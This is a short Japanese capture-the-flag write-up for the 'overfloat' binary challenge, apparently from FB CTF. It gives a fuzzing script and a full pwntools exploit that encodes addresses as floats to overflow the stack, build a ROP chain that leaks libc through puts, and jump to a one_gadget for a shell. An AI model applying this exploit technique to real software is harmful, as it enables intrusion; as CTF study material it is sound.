これしか解けませんでした。
otp_serverは解けそうだったもののnonceをガチャる方法がよくわからず敗退。
Writeup
なにやってるのかよくわからないが、2つの値をセットで読み込んで、それらはfloat型で保持されるらしい。
コードをぱっと読んでも何も浮かばなかったのでファジングを試みた。
from pwn import * import time context.log_level = "DEBUG" count = 1 while True: p = process("./overfloat") p.recv() print(count) for i in range(count): p.sendline(b"1") p.sendline(b"1") p.recv() p.sendline(b"done") p.recv() if p.poll(block = True) is not 0: break count += 1 print(count)
上記を実行すると、8回目のループで例外が発生した。
gdbで詳しく見ると、8回目のループでリターンアドレスを書き換えている。
つまり、14回の入力まででbase addressを書き換えることができ、次でリターンアドレスを書き換えripを制御できる。
今回、値はfloat型で保持されるため、入力は4byteの浮動小数点として格納される。
そのため、浮動小数点として変換されたさいに目的の値になるように入力を行う必要がある。
また、8byteの値を書き込みたい場合2回に分ける必要がある。
exploit
ropによるputs_plt(puts_got)を用いたlibcのリーク → one_gadgetの書き込みの手順を行う。
from pwn import * import time import binascii # context.log_level="DEBUG" def hex_to_float(s): s = s[2:] s = "0"*(8 - len(s)) + s return format(struct.unpack('>f', binascii.unhexlify(s))[0], ".10g") def number_to_floatbytes(n): return str(hex_to_float(hex(n))).encode("utf-8") def write_buf(buf): for b in buf: p.sendline(number_to_floatbytes(b)) p.sendline(b"0") p.sendline("done") pop_rdi = 0x00400a83 puts_plt = 0x00400690 puts_got = 0x00602020 libc_puts = 0x0000000000809c0 one_gadget = 0x10a38c main = 0x0400993 # p = process("./overfloat") # gdb.attach(p, """ # set follow-fork-mode child # c # """) # time.sleep(1) p = remote("challenges.fbctf.com", 1341) # stage1 : leak libc address for j in range(14): p.sendline(str(j).encode("utf-8")) print(p.recv()) # make ropchain to leak puts_got buf = [] buf.append(pop_rdi) buf.append(puts_got) buf.append(puts_plt) buf.append(main) write_buf(buf) # calculate libc_base p.recvline() r = p.recvuntil(b"\x7f") puts = u64(r.ljust(8, b"\x00")) libc_base = puts - libc_puts # make one_gadget address target = libc_base + one_gadget print("[+]target " + hex(target)) # padding float size tmp = hex(target)[2:] pad_target = "0"*(16 - len(tmp)) + tmp low = pad_target[8:16] high = pad_target[0:8] print("[*]low " + low) print("[*]high " + high) # stage2 : write one_gadge for j in range(14): p.sendline(str(j).encode("utf-8")) p.recv() p.sendline(number_to_floatbytes(int(low, 16))) p.sendline(number_to_floatbytes(int(high, 16))) p.sendline(b"done") p.interactive()
シェルを操作してflagを読んで終わり。